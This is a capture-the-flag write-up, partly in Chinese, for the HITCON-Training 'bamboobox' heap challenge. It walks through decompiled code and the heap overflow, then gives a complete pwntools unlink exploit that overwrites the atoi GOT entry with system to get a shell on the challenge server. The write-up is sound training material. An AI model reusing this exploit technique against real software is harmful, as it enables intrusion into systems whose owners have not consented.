hitcon-training-unlink writeup
Checksec
# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Pwn/heap/unlink/hitcontraining_unlink [15:14:56]
$ checksec bamboobox
[*] '/home/zer0ptr/CTF-Pwn/heap/unlink/hitcontraining_unlink/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: NoNO PIE
分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
v4 = (void (**)(void))malloc(0x10u);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8u);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一;
show_item:
int show_item()
{
int i; // [rsp+Ch] [rbp-4h]
if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
printf("%d : %s", i, *((const char **)&unk_6020C8 + 2 * i));
}
return puts(byte_401089);
}- 这里存在offbyone,但对于考察unlink的题目一般不会利用;
&unk_6020c8位于bss节,是items的基址
add_item:
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8u);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
{
*((_DWORD *)&itemlist + 4 * i) = v2;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
++num;
return 0;
}
}
}
return 0;
}add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束;
change_item:
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8u);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of item name:");
read(0, nptr, 8u);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中;
remove_item:
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8u);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
free(*((void **)&unk_6020C8 + 2 * v1));
*((_QWORD *)&unk_6020C8 + 2 * v1) = 0;
*((_DWORD *)&itemlist + 4 * v1) = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}这个函数中存在free()功能。
之后按照如下思路:
- 堆布局
- 伪造 fake chunk
- fd/bk = ptr-0x18/ptr-0x10
- 修改 next chunk 的 prev_size/size
- unlink 写全局指针
- 写 GOT 表项
- 先 leak 后 getshell
给一下自己的一些辅助学习方法:
Unlink过程
- FD = 0x2000 (fake_chunk.fd)
- BK = 0x2008 (fake_chunk.bk)
- FD->bk = BK → *(0x2000 + 0x18 = 0x2018) = 0x2008
- BK->fd = FD → *(0x2008 + 0x10 = 0x2018) = 0x2000
- 最终: 0x2018 = 0x2000 (itemlist[0]被修改)

EXP
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"
# io = process("./bamboobox")
io = remote('node5.buuoj.cn', 29958)
elf = ELF("./bamboobox")
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)
def show():
io.sendlineafter(b":", b"1")
def add(length, name):
io.sendlineafter(b":", b"2")
io.sendlineafter(b":", str(length).encode())
io.sendafter(b":", name)
def change(idx, length, name):
io.sendlineafter(b":", b"3")
io.sendlineafter(b":", str(idx).encode())
io.sendlineafter(b":", str(length).encode())
io.sendafter(b":", name)
def remove(idx):
io.sendlineafter(b":", b"4")
io.sendlineafter(b":", str(idx).encode())
def exit():
io.sendlineafter(b":", b"5")
if __name__ == "__main__":
add(0x40, b'0' * 8)
add(0x80, b'1' * 8)
add(0x40, b'2' * 8)
ptr = 0x6020c8
fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
change(0, 0x80, fakeChunk)
remove(1)
payload = flat([0, 0, 0x40, elf.got['atoi']])
change(0, 0x80, payload)
show()
# 泄露atoi地址
atoi_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
success("atoi_addr -> {:#x}".format(atoi_addr))
# 使用LibcSearcher查找libc版本
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
success("libc_base -> {:#x}".format(libc_base))
success("system_addr -> {:#x}".format(system_addr))
pause()
change(0, 0x8, p64(system_addr))
io.sendline(b'$0')
io.interactive()
io.close()hitcon-training-unlink writeup
https://zer0ptr.github.io/2026/02/14/hitcon-training-unlink/